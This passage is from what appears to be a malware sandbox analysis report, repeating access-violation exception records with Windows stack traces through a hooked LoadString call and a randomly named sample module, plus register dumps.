New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 